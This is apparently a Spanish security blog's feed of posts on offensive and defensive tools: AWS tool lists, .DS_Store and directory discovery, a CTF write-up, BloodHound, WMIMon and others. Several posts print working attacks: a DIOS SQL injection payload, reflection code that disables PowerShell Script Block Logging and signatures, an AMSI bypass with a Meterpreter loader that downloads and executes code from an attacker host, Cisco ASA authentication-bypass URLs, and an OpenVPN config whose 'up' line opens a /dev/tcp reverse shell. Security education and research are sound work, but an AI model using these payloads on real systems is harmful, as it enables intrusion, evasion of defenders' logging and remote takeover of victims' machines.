Arsenal de herramientas de seguridad para AWS

Impresionante recopilatorio de Toni de la Fuente de Alfresco Software con un montón de recursos y herramientas para la seguridad de un entorno AWS (Amazon Web Service) en la nube. Os la pego también aquí pero si echas en falta algo no dudes en contactar con su autor para que actualice el repositorio:

https://github.com/toniblyx/my-arsenal-of-aws-security-tools

Defensivas (Fortificación, Auditoría de seguridad, Inventario)
Ofensivas:

Descubrimiento de rutas de una web mediante ficheros .DS_Store

Los archivos .DS_Store (Desktop Services Store) son archivos "ocultos" creados por Mac OS X que contienen preferencias para la visualización de cada carpeta del sistema. Básicamente le dicen a Finder como mostrar los iconos (su tamaño y posición), si una ventana de carpeta tiene algún color de fondo y otra información. El Finder crea un .DS_Store para cada carpeta que se abre en un Mac, incluidas carpetas o carpetas remotas en medios extraíbles.

Los archivos .DS_Store también pueden contener datos sobre otros archivos en sus carpetas. Por ejemplo, un archivo .DS_Store puede contener los nombres de los archivos que se encuentran en su carpeta y, por lo tanto, leer un archivo .DS_Store puede proporcionar información sobre el contenido de una carpeta.

Evidentemente esto no es un problema en Mac, pero podría ser un problema si estos ficheros están alojados y disponibles en un servidor web. De hecho, muchos archivos .DS_Store están indexados por Google, y al descargarlos y leer sus contenidos, es posible obtener una lista de algunos o todos los archivos contenidos en un directorio web. Otra forma de encontrarlos es mediante un fuzzing de directorios (diccionario) con alguna herramienta tipo wfuzz, dirb o similar. En cualquier caso, pueden resultarnos tremendamente útiles para descubrir la estructura de un sitio que estemos escaneando.

Así que si consigues descargarte uno, te recomiendo por ejemplo parsearlo con la herramienta ds_store_exp del chino lijiejie:

Uso: python ds_store_exp.py http://www.example.com/.DS_Store

$ git clone https://github.com/lijiejie/ds_store_exp.git && cd ds_store_exp

$ python ds_store_exp.py http://site_ejemplo/.DS_Store
[+] http://site_ejemplo/.DS_Store
[+] http://site_ejemplo/Widgets/.DS_Store
[Folder Found] http://site_ejemplo/Templates
[Folder Found] http://site_ejemplo/dev
[Folder Found] http://site_ejemplo/Widgets
[+] http://site_ejemplo/Themes/.DS_Store
[+] http://site_ejemplo/JS/.DS_Store
[+] http://site_ejemplo/Images/.DS_Store
[Folder Found] http://site_ejemplo/Themes
[Folder Found] http://site_ejemplo/JS
[Folder Found] http://site_ejemplo/Images
[+] http://site_ejemplo/Widgets/Framework/.DS_Store
[+] http://site_ejemplo/dev/.DS_Store
[Folder Found] http://site_ejemplo/Plugins
[Folder Found] http://site_ejemplo/Widgets/Menu
[Folder Found] http://site_ejemplo/Widgets/Framework
[Folder Found] http://site_ejemplo/Uploads
[+] http://site_ejemplo/iisstart.htm
[Folder Found] http://site_ejemplo/Themes/default
[Folder Found] http://site_ejemplo/JS/custom
[Folder Found] http://site_ejemplo/Images/buttons
[Folder Found] http://site_ejemplo/Images/icons
[+] http://site_ejemplo/Widgets/Framework/Layouts/.DS_Store
[Folder Found] http://site_ejemplo/Widgets/Framework/Layouts
[+] http://site_ejemplo/dev/oculto/.DS_Store
...


Fuentes:

- Possible Security Issue Involving .DS_Store Files on Web Servers
- Apache security "leak" noted with .DS_Store files
- Parsing the .DS_Store file format
- Removing DS_Store files on Linux Server

Inyecciones SQL como DIOS

El post de hoy no trata de inyecciones como si fueras del fuc**** master, si no que el acrónimo DIOS se refiere a Dump In One Shot, una técnica de inyección SQL que lleva existiendo ya desde hace años pero que sin embargo todavía hoy no es demasiado conocida. Como su nombre indica, DIOS es forma peculiar de construir inyecciones SQL que, con la ayuda del uso de ciertas sentencias, nos permite obtener el volcado completo para una consulta.

Con SQLis DIOS no necesitas herramientas como Sqlmap o Havij, sólo con el navegador puedes traerte todos los datos que necesitas y mediante una "única bala". Normalmente aplica en inyecciones de tipo union y también, aunque menos comunes y más difíciles de implementar, a las basadas en error. Para las inyecciones ciegas, esta técnica no se aplica.

Para entender como funciona vamos a ver la clásica inyección SQL 'Union Base' usando DIOS contra una base de datos MySQL. Para ello usaremos el laboratorio online SQLInjection Ninja de Security Idiots, que además son los mejores mesías de este tipo de inyecciones.

Primero identificaremos el recurso vulnerable a SQLi:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1%27%20union%20select%20111,222,333%20--%20-


La columna 222 es vulnerable: en ella insertaremos nuestra petición DIOS.

http://leettime.net/sqlninja.com/tasks/basic_ch1.php
?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'
'))))a)),333 -- -


Como podéis ver, con esa consulta devolvimos la lista de todas las bases de datos en ese sitio.

Solución al reto 26: Emma-ne-de-fur-fur?


Nuevo reto "especial verano" de la mano de @Hackers4Fun (#H4F) donde se ha interceptado un fragmento de código en un email remitido por Tim a Flint "Loco" (El prota de "Lluvia de albóndigas") y deberemos de encontrar lo que esconde.  

Manos a la obra

Descargamos y descomprimos con WinRAR el archivo "R3t0_12_H4f.gz" que contiene el siguiente enlace: https://drive.google.com/file/d/1iG_lNnMSU05-kjvbhk9Sk_GMCGnbO-Y1
Nos encontramos con lo que parece un archivo PDF, si lo ejecutamos nos encontraremos con el siguiente texto:
 
 
Observamos que es código HTML con una imagen codificada en base64, simplemente seleccionamos todo el código y lo colocamos en cualquier editor de texto (I love you sublime text) y guardamos en .html
Ejecutamos el archivo .html y vemos la siguiente imagen.bmp:
 
 
Nos la descargamos y la analizamos con diferentes herramientas (exiftool,binwalk y stegsolve) pero sin ninguna pista que me sirviera de ayuda.
Después de unos minutos de bloqueo, me cambié las gafas "3D" por las lentes graduadas (simplemente limpié los cristales xD) me tropecé con unos extraños pixels que no venían "a cuento" con la imagen. 
Hice zoom y encontré esto:
 

Es un mensaje en morse! Si tiramos de Photoshop (también sirve Gimp o Fireworks) y jugamos con los niveles podemos conseguir una imagen mas clara, mas o menos lo dejé así:
 

Dirhunt: encuentra directorios web sin fuerza bruta

 
Dirhunt es un web crawler optimizado para buscar y analizar directorios. Esta herramienta puede encontrar cosas interesantes si el servidor tiene habilitado el modo "index of", aunque también es útil si el listado de directorios no está habilitado. También detecta directorios con errores 404 "falsos", directorios donde se ha creado un archivo de índice vacío para ocultar cosas y mucho más.

$ dirhunt http://website.com/

Dirhunt no usa fuerza bruta. Pero tampoco es solo un crawler. Esta herramienta es más rápida que otras porque minimiza las solicitudes al servidor. En general, esta herramienta tarda entre 5-30 segundos, dependiendo del sitio web y del servidor.

Características

- Procesa uno o múltiples sitios a la vez.
- Procesa páginas de 'index of' y reporta archivos interesantes.
- Detecta redirecciones.
- Detecta index en blanco creados en directorios para ocultar cosas.
- Procesa algunos archivos html en busca de nuevos directorios.
- Páginas de error 404 y detectar errores 404 falsos.
- Filtrar resultados por flags.
- Analiza los resultados al final.

Instalación:

$ pip install dirhunt

o desde el repo:

$ git clone git://github.com/Nekmo/dirhunt
$ curl  -OL https://github.com/Nekmo/dirhunt/tarball/master
$ python setup.py install

Uso:
Usage: dirhunt [OPTIONS] [URLS]...

  :param int threads: :type exclude_flags: list

Options:
  -t, --threads INTEGER           Number of threads to use.
  -x, --exclude-flags TEXT        Exclude results with these flags. See
                                  documentation.
  -i, --include-flags TEXT        Only include results with these flags. See
                                  documentation.
  -e, --interesting-extensions TEXT
                                  The files found with these extensions are
                                  interesting
  -f, --interesting-files TEXT    The files with these names are interesting
  --stdout-flags TEXT             Return only in stdout the urls of these
                                  flags
  --progress-enabled / --progress-disabled
  --timeout INTEGER
  --version
  --help                          Show this message and exit.

Reto 26: Especial Verano: Emma-ne-de-fur-fur?

El grupo del IES Francico Umbral de Ciempozuelos (Madrid) Hackers4Fun CTF Team nos vuelve a traer otro entretenido reto para amenizar las calurosas jornadas de verano.

Categoria > Misc> Han interceptado un fragmento de código de un emaIl remitido por Tim a Flint "Loco". Puedes detectar el mensaje escondido en el archivo adjunto del email?> Download:

https://drive.google.com/file/d/1iG_lNnMSU05-kjvbhk9Sk_GMCGnbO-Y1/view


Una vez resuelto, mandar la flag por DM a la cuenta de Twitter https://www.twitter.com/Hackers4F. El formato es H4F{...}

Una vez que Hackers4F cierre el reto, publicaremos también el writeup y pondremos a los primeros acertantes en nuestra página. Así que animaros y a ver si sois capaces de descubrir el mensaje escondido.

Recopilatorio de formas de bypassear la Política de Ejecución (Execution Policy) en Powershell

PowerShell viene configurado por defecto para evitar la ejecución de scripts. Auqnue no debería, esto puede ser un obstáculo para los pentesters, administradores de sistemas y desarrolladores, ... y también para los atacantes. Sin embargo, se puede eludir esta política aún sin tener derechos de administrador local en el sistema. En un artículo en el blog de NetsPI de 2014 se mostraban numerosas formas de hacerlo que hoy en día siguen vigentes y por eso rescatamos.

¿Qué es la Política de Ejecución de Powershell o PowerShell Execution Policy?

La Política de Ejecución de Powershell es la configuración que determina qué tipo de scripts de PowerShell (si los hay) se pueden ejecutar en el sistema. Por defecto, está configurado como "Restringido" (en inglés "Restricted"), lo que básicamente significa ninguno. Sin embargo, es importante entender que esta política más que un control de seguridad estaba destinada a evitar que los administradores se peguen "un tiro en el pie". Es por eso que hay tantas opciones para cambiarla, incluyendo algunos que Microsoft ha proporcionado directamente.

Cómo ver la Política de Ejecución

Para ver la configuración actual se suele utilizar el comando de PowerShell "Get-ExectionPolicy". Si estás viendo la configuración por primera vez, es probable que esté configurada como "Restringida", como se muestra a continuación:

PS C:\> Get-ExecutionPolicy
Restricted


También vale la pena señalar que la política de ejecución se puede establecer en diferentes niveles en el sistema. Para ver una lista de ellos, usa el siguiente comando:

PS C:\> Get-ExecutionPolicy -List | Format-Table -AutoSize

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Restricted
 LocalMachine       Restricted


Notas de configuración de laboratorio

En los ejemplos que se verán a continuación se usará un script llamado runme.ps1 que contiene el siguiente comando de PowerShell para escribir un mensaje a la consola:

Write-Host "Prueba"

Cuando se intente ejecutar en un sistema configurado con la política de ejecución predeterminada, aparecerá el siguiente error:


Si tu política actual es demasiado abierta y deseas hacerla más restrictiva para probar las técnicas que se mostrarán a continuación, ejecuta el comando "Set-ExecutionPolicy Restricted" desde una consola PowerShell con privilegios administrador. A continuación veremos 15 maneras de eludir las restricciones de la política de ejecución de PowerShell.

Cherry* - IA Busqueda A* && la Heuristica de Manhattan

Hoy les comparto algunas implementaciones sobre búsqueda no informada en JAVA, usando un nuevo enfoque funcional, comentado todo en español, espero que les sea de ayuda a quien lo necesite Funciona con el JDK 10...


Terminología

    Node -> Una estructura de datos que tiene lugar en el árbol;
    Actions -> Estados alcanzables desde algún estado cualquiera;
    Root -> Nodo top u origen del árbol;
    Origin -> Estado origen de algún estado cualquiera;
    Final -> Estado sin acciones posibles;
    Level -> Nivel del estado por defecto root = 0;
    Tree -> Estructura que modela los estados del problema;
    Cost -> Costo para llegar a ese estado desde el inicio;
    Source -> Representación matricial de algún estado;
    State -> Estado a priori;

Concepto

Los arboles son estructuras de datos complejas que nos permiten modelar el mundo, siguiendo ciertas restricciones adaptadas de la propia naturaleza del problema.

Una simple representación de un árbol puede ser la siguiente:

Los arboles con los que trabajaremos contienen una raíz destacada la cual es el origen del estado, por lo cual solo hay un camino origen asociado a un estado viniendo desde otro.

Investiga inicios de sesión maliciosos en el DA con LogonTracer

LogonTracer es una herramienta para investigar inicios de sesión maliciosos al visualizar y analizar los registros de eventos del directorio activo de Windows.

Esta herramienta utiliza PageRank y ChangeFinder para detectar hosts y cuentas maliciosas en los logs de eventos de Windows, y visualiza los siguientes identificadores de eventos relacionados con el inicio de sesión de Windows basados en nuestra investigación previa.

- 4624: inicio de sesión exitoso
-  4625: error de inicio de sesión
- 4768: Autenticación de Kerberos (solicitud de TGT)
- 4769: Ticket de servicio de Kerberos (Solicitud de ST)
- 4776: Autenticación NTLM
- 4672: asignar privilegios especiales

Tenéis más detalle en los siguientes enlaces:   


En mi caso voy a instalarlo y usarlo en Linux, pero lo tenéis también funcional en OSX e incluso en un contenedor Docker.

Descubriendo el camino para llegar a domain admin con BloodHound

Hoy en día prácticamente todas las empresas utilizan el Directorio Activo de Microsoft para administrar los recursos, usuarios y políticas de sus redes corporativas. Por eso uno de los objetivos finales de una intrusión siempre suele ser conseguir los máximos privilegios sobre el DA. Pero también suele ser bastante común que, cuando comprometemos un servidor y nos "asomamos" a las redes internas para comenzar con los movimientos laterales, nos encontremos con una auténtica maraña de servidores, relaciones de confianza, grupos anidados, etc, etc., es decir, literalmente es fácil que nos perdamos en el bosque, nunca mejor dicho.

Para facilitarnos el entendimiento de la topología a la que nos enfrentamos y visualizar las posibles vulnerabilidades y fallos existe una herramienta que se llama BloodHound que utiliza gráficos para revelar las relaciones ocultas y, a menudo no intencionadas, dentro de un entorno de DA.

Por un lado un atacante puede usarla para identificar fácilmente rutas de ataque altamente complejas que de otro modo serían imposibles de identificar rápidamente y, por otro, un administrador podría usarla también para identificar y eliminar esos mismos caminos de ataque. En definitiva, tanto los miembros del Red Team como los del Blue Team pueden usar BloodHound para obtener una comprensión más profunda de las relaciones de privilegios en un entorno de Active Directory.


Bloodhound está desarrollado por @_wald0, @CptJesus, y @harmj0y. y básicamente es una aplicación web de JavaScript de una sola página, construida sobre Linkurious, compilada con Electron, con una base de datos Neo4j alimentada por un ingestor PowerShell. Tenéis las instrucciones de instalación en la Wiki del proyecto. En este post haremos una pequeña demo desde la perspectiva de un atacante...

Primero, para funcionar BloodHound requiere tres conjuntos de información de un entorno de Active Directory:

- ¿Quién ha iniciado sesión en dónde?
- ¿Quién tiene los derechos de administrador?
- ¿Qué usuarios y grupos pertenecen a qué grupos?
- (Opcionalmente) ¿Qué directores tienen control sobre otros objetos de usuario y grupo?

En la mayoría de los casos, la recopilación de esta información no requiere privilegios de administrador ni la ejecución de código en sistemas remotos. El primer ingestor de Bloodhound -que así es como se conoce- estaba basado en PowerView y hacía que la recopilación de datos fuera rápida y simple, e incluso teníamos la ventaja de que podíamos llamarlo directamente desde Empire (módulo Powershell/situation_awareness/network/bloodhound) o incluso desde Meterpreter importando el cmdlet (powershell_import BloodHound.ps1). Sin embargo el uso de Powershell v2 penalizaba algo la velocidad de la enumeración en grandes entornos y, sobretodo, elevaba bastante el uso de la memoria, por lo que se reescribió un nuevo ingestor en C#: SharpHound.

noisy: un script en Python para generar "ruido" en forma de tráfico HTTP/DNS

noisy de 1tayH es un sencillo script en Python que genera ruido en forma de tráfico HTTP/DNS aleatorio mientras navegas por la red (en background), para que los datos de tráfico web sean menos valiosos a la hora de venderlos y para tener mayor "oscuridad".

El script ha sido probado en MacOS High Sierra, Ubuntu 16.04 y Raspbian Stretch, y es compatible tanto con Python 2.7 como con 3.6.

Instalación

pip install requests
git clone https://github.com/1tayH/noisy.git

Parámetros disponibles
$ python noisy.py --help
usage: noisy.py [-h] [--log -l] --config -c [--timeout -t]

optional arguments:
  -h, --help    show this help message and exit
  --log -l      logging level
  --config -c   config file
  --timeout -t  for how long the crawler should be running, in seconds

Uso

cd noisy
python noisy.py --config config.json

Ejemplo salida
$ docker run -it noisy --config config.json --log debug
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): 4chan.org:80
DEBUG:urllib3.connectionpool:http://4chan.org:80 "GET / HTTP/1.1" 301 None
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): www.4chan.org:80
DEBUG:urllib3.connectionpool:http://www.4chan.org:80 "GET / HTTP/1.1" 200 None
DEBUG:root:found 92 links
INFO:root:Visiting http://boards.4chan.org/s4s/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/ HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/s4s/thread/6850193#p6850345
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/thread/6850193 HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/o/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /o/ HTTP/1.1" 200 None
DEBUG:root:Hit a dead end, moving to the next root URL
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET / HTTP/1.1" 200 None
DEBUG:root:found 237 links
INFO:root:Visiting https://www.reddit.com/user/Saditon
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET /user/Saditon HTTP/1.1" 200 None
...

Opción Docker

docker build -t noisy .
Raspberry Pi (corriendo Raspbian stretch): docker build -f Dockerfile.pi -t noisy .

docker run -it noisy --config config.json

Referencias

El proyecto se ha inspirado en:
 
Proyecto: https://github.com/1tayH/noisy

Herramienta para explotar bases de datos Firebase vulnerables/mal configuradas

Os escribo este post para compartir con vosotros una herramienta que he escrito. Se trata de un script en python que explota bases de datos Firebase vulnerables/mal configuradas. Me he inspirado en la investigación de appthority y el posterior artículo de thehackernews.

Mi script en python adopta un enfoque diferente al utilizado por los investigadores anteriormente citados: mediante la api (no oficial) de dnsdumpster y el escáner online disponible en pentest-tools se obtienen diversos subdominios de firebaseio.com asociados con sus correspondientes bases de datos. Algunas de estas bases de datos, quizás a propósito o quizás no, son accesibles sin requerir ningún tipo de autenticación, tal y como descubrieron en appthority.

Otra opción más interesante que he implementado es intentar escanear DBs de firebase mediante el recopilatorio del millón de sitios web más destacados de Alexa.
 
Requisitos (módulos python no-estándar):
Instalación:
git clone https://github.com/Turr0n/firebase.git
cd firebase
pip install -r requirements.txt
Uso:
 
python3 firebase.py [-h] [--dnsdumpster] [-d /path/to/file.htm] [-o results.json] [-l /path/to/file] [-c 100] [-p 4]

Argumentos:
    -h      Show the help message
    -d      Absolute path to the downloaded HTML file.
    -o      Output file name. Default: results.json
    -c      Crawl for domains in the top-1m by Alexa. Set how many domains to crawl, for example: 100. Up to 1000000
    -p      How many processes to execute. Default: 1
    -l      Path to a file containing the DBs to crawl. One DB name per line. This option can't be used with -d or -c
    --dnsdumpster       Use the DNSDumpster API to gather DBs
    --just-v    Ignore "non-vulnerable" DBs
    --amass Path of the output file of an amass scan ([-o] argument)

Monitoriza la actividad WMI con WMIMon

Cada vez es más y más común el malware "fileless" que no requiere a un atacante instalar ninguna pieza de software en el equipo de la víctima si no que se se apoya en el uso de herramientas presentes en el sistema operativo como WMI (Windows Management Infrastructure). 


WMI permite a los administradores realizar tareas muy rápidamente, pero puede convertirse también en algo muy peligroso cuando se usa de forma malintencionada. Es decir, de la misma forma que un administrador usa WMI para consultar métricas y ejecutar programas, un atacante puede usarlo para ejecutar de forma silenciosa código malicioso en toda una red de máquinas. WMI también permite la persistencia de programas al inicio o en función de eventos específicos.

WMI no se puede desinstalar, pero se puede deshabilitar. Sin embargo, hacerlo perjudica y limita lo que un administrador puede hacer, como actualizar software en múltiples máquinas. Por ello, la alternativa quizás más equilibrada es monitorizar su uso y una de las herramientas en la que podemos apoyarnos es la que hoy os traemos: WMIMon.

WMIMon del francés luctalpe de Microsoft permite monitorizar la actividad WMI en plataformas Windows. Puedes compilar tú mismo la herramienta o, si no tienes Visual Studio, descargarte directamente los binarios aquí.

WMIMon realmente un consumidor de ETL (Extract, Transform, Load) en tiempo real para el event log de WMI-Activity. Permitirá también obtener información sobre el proceso del cliente de WMI (ejecutable). Puede especificar una expresión regular para filtrar y limitar la salida a un ejecutable específico, nombre de usuario, nombre de equipo del cliente, ID de proceso o consulta.

Aker, un servidor de salto/gateway SSH

Aker es una herramienta con la que podremos configurar nuestro propio gateway ssh/bastion de Linux. El nombre viene de una deidad de la mitología egipcia que custodiaba las fronteras.

Aker actuaría como un punto a través del cual todos los administradores de sistemas y el personal de soporte accede a los servidores Linux en producción. La puerta de enlace SSH de Aker registra todas las sesiones de los usuarios, ayudando a conocer todos los detalles sobre quién hizo qué en cada servidor, e incluye muchas características de seguridad que permiten administrar miles de servidores Linux fácilmente.

El logging tradicional de SSH intenta registrar la actividad del usuario en los endpoints (servidores Linux) y enviar los logs a un servidor centralizado, pero hay un problema en este enfoque, en la mayoría de los casos un subconjunto de usuarios tiene acceso con privilegios a los servidores, por lo tanto, pueden tener la capacidad de:

- manipular el registro.
- Enrutar el tráfico registrado a otro servidor.
- Dejar de loggear en general.


Aker intenta abordar las necesidades y los desafíos de la auditoría de accesos SSH de una manera diferente, agregando puertas de enlace SSH para proteger tanto el entorno como una ubicación centralizada para capturar, mantener y auditar la sesiones SSH.

Ejecución de scripts en PowerShell "like a boss" (evadiendo AMSI, logging y firmas)

El uso de scripts y lenguajes interpretados se ha convertido en un medio muy usado para saltarse la detección de malware o actividades maliciosas por parte de las soluciones antimalware tradicionales. Para evitarlo, Microsoft introdujo en Windows 10 otra protección denominada AMSI (Antimalware Scan Interface) sobre todo para inspeccionar los scripts que son invocados en tiempo de ejecución, abarcando no sólo PowerShell, si no también VBScript, Ruby y otros muchos lenguajes.

Pero la batalla nunca termina y pronto empezaron a surgir numerosas técnicas para evadir y desactivar AMSI  (unload) incluso evitando el autologging de WMF5: Matt Graeb, Daneil Bohannon, Cornelis de Plaa, Satoshiba Tanda... son sólo ejemplos de investigadores que lo consiguieron ... y lo publicaron.

Pero aún habiendo burlado AMSI hay otras medidas a tener en cuenta como PowerShell Script Block Logging, que se introdujo con la versión 5 de PowerShell y básicamente es la posibilidad de habilitar la auditoría de los scripts que se ejecutan dentro de PowerShell. Si bien esto tiene ventajas obvias, el gran beneficio de este método es la capacidad de descomprimir los scripts ofuscados en una forma legible. Por ejemplo, si invocamos un comando ofuscado que se pasa a través de Invoke-Obfuscate veremos el comando desofuscado en el visor de eventos. Por ej:


Podéis imaginar que si el SOC "alimenta" a un SIEM o a una herramienta de correlación de logs con estos eventos, tendrá muchas más posibilidades de identificar actividad maliciosa en una red.
Entonces, ¿qué puede hacer un red team para zafarse de este voyeurismo digital? Voy a resumirlo torpemente:

Manipulando el contenido de "Utils.cachedGroupPolicySettings", una propiedad o más bien un diccionario en Powershell que se usa para guardar una versión cacheada de las partes del registro que activan/desactivan el logging.

Por supuesto, nunca tocaremos el valor real del registro y usaremos reflection para modificar dicho diccionario, es decir, la clave del diccionario "cachedGroupPolicySettings" deberá establecerse en la ruta de la clave de registro donde está configurada la funcionalidad de PowerShell Script Block Logging, que en nuestro caso es "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ ScriptBlockLogging". El valor será un objeto Dictionary <string, object> que apunta a nuestro valor de configuración modificado, que será "EnableScriptBlockLogging" establecido a "0":

$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils")
.GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")

y con eso, nos aseguraremos que nuestros scripts no se monitoricen... :-D

Además, si utilizáis Empire desde hace tiempo lo tenéis implementado con el módulo Bypass ScriptBlock Logging.


Y por último, también existe otra medida en Powershell que se llama “ScriptBlock.CheckSuspiciousContent”, que lee el script y evalúa si su ejecución debe marcarse como sospechosa o no en base a una lista de firmas que se puede encontrar en la variable "Scriptblock.signatures". Esto significa que aunque hayamos desactivado PowerShell Script Block Logging como hicimos previamente, si ejecutamos un comando que coincide con una firma sospechosa iremos igualmente y de cabeza al Log de Eventos... es decir, otro escollo a salvar ;)

¿Qué tal si truncamos la lista de firmas para que ninguna coincida? Podemos volver recurrir otra vez a reflection (parámetro force):

[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock")
.GetField("signatures","NonPublic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]'))

Aquí establecemos la variable "force" con una nueva hashset vacía, lo que significa que el parámetro "force" nunca será verdadero.

Y por último, otro regalito visto en Pastebin: un payload con Web_delivery/Meterpreter (personaliza el template para el AV) + AMSI bypass:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
$e=new-object net.webclient;
$e.proxy=[Net.WebRequest]::GetSystemWebProxy();
$e.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $e.downloadstring('http://attacker-trusted-domain/pwn');

Fuente:
- Exploring PowerShell AMSI and Logging Evasion

Vulnerabilidad de path traversal en Cisco ASA (CVE-2018-0296)

El 6 de junio se hizo pública la vulnerabilidad CVE-2018-0296 que afecta a la interfaz web de los Cisco ASA (Adaptive Security Appliance) y aunque el fabricante lo describe como una vulnerabilidad que "podría permitir a un atacante remoto no autenticado provocar que el dispositivo se reinicie (DoS) y, en ciertas versiones de software, ver información sensible del sistema sin autenticación mediante el uso de técnicas de path traversal", lo realmente importante es ésto último, la falta de de validación de entrada y control de acceso a algunas URLs:

- "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/"
- "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"
- "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"
- "/+CSCOE+/logon.html"
...

Sin embargo los polacos de Sekurak lo explican perfectamente en su artículo: "Error description CVE-2018-0296 - bypassing authentication in the Cisco ASA web interface":
ASA organiza sus recursos en dos directorios: /+CSCOU+/ y /+CSCOE+/ . Las subpáginas dentro de /+CSCOE+/ pueden requerir autenticación, mientras que las ubicadas en el medio /+CSCOU+/ autenticación nunca la requieren.

Como se muestra a continuación, si se intenta acceder a cualquier recurso /+CSCOE+/files/file_list.json de manera estándar se nos redireccionará a la página de logon:


Pero si se reemplaza en la petición /+CSCOE+/ por /+CSCOU+/ el resultado es sorprendente:


Así de sencillo. Esa a la manera de eludir la autenticación.

Como veis también, con file_list.json se pueden listar los archivos visibles desde la interfaz web. El catálogo de sesiones parece interesante, y después de entrar a una de esas sesiones, se puede averiguar cuál es el ID de usuario que está asociado, por lo que se puede averiguar fácilmente cual es la contraseña que hay que intentar romper ;)

Listado del contenido del directorio/sesiones:


Extracción del login del usuario conectado:


Podéis imaginaros que tratándose de Cisco existen numerosos dispositivos accesibles por Internet, sólo tenéis que buscar en Shodan o en Censys o usar un simple dork con /+CSCOE+/logon.html.

En cuanto a su explotación ya empiezan a surgir las primeras herramientas... Yassine Aboukir de HackerOne ya ha publicado un pequeño script en Python que vuelca a un archivo de texto tanto el contenido del directorio actual como lo de +CSCOE+:

https://github.com/yassineaboukir/CVE-2018-0296


Y Keith Lee (milo2012) ha liberado también otro script en Go que directamente extrae los nombres de usuario del dispositivo ASA:

https://github.com/milo2012/CVE-2018-0296


Esta vulnerabilidad se aplica al tráfico HTTP IPv4 e IPv6 y afecta al software Cisco ASA y al software Cisco Firepower Threat Defense (FTD) que se ejecuta en los siguientes productos de Cisco:

- 3000 Series Industrial Security Appliance (ISA)
- ASA 1000V Cloud Firewall
- ASA 5500 Series Adaptive Security Appliances
- ASA 5500-X Series Next-Generation Firewalls
- ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
 - Adaptive Security Virtual Appliance (ASAv)
- Firepower 2100 Series Security Appliance
- Firepower 4100 Series Security Appliance
- Firepower 9300 ASA Security Module
- FTD Virtual (FTDv)

Para confirmar si el dispositivo es vulnerable se recomienda seguir los pasos indicados por el mismo Cisco: CSCvi16029.

En cualquier de serlo es recomendable parchear inmediatamente (tenéis las versiones que corrigen el bug en el artículo anterior de Cisco).

Shells reversas mediante ficheros de configuración (.ovpn) de OpenVPN maliciosos

Recientemente leía en Medium un artículo que nos recuerda la peligrosidad de ejecutar openvpn con ficheros de configuración (.ovpn) de terceros. Concretamente, por la opción "up" que nos permite ejecutar un script (o programa ejecutable) opcionalmente seguido de argumentos, después de levantar el dispositivo TUN/TAP.

Eso significa que si la víctima está usando una versión de Bash que admita /dev/tcp, obtener un shell reversa es trivial. Por ejemplo, el siguiente archivo ovpn creará una shell reversa contra a 192.168.1.218:8181:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”

Evidentemente cuando se utilice este archivo ovpn, no será demasiado obvio para el usuario que algo anda mal: la conexión VPN se establece normalmente y hay tráfico, aunque hay algunas indicaciones que podrían hacer sospechar a un usuario experimentado (subrayadas):
Thu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
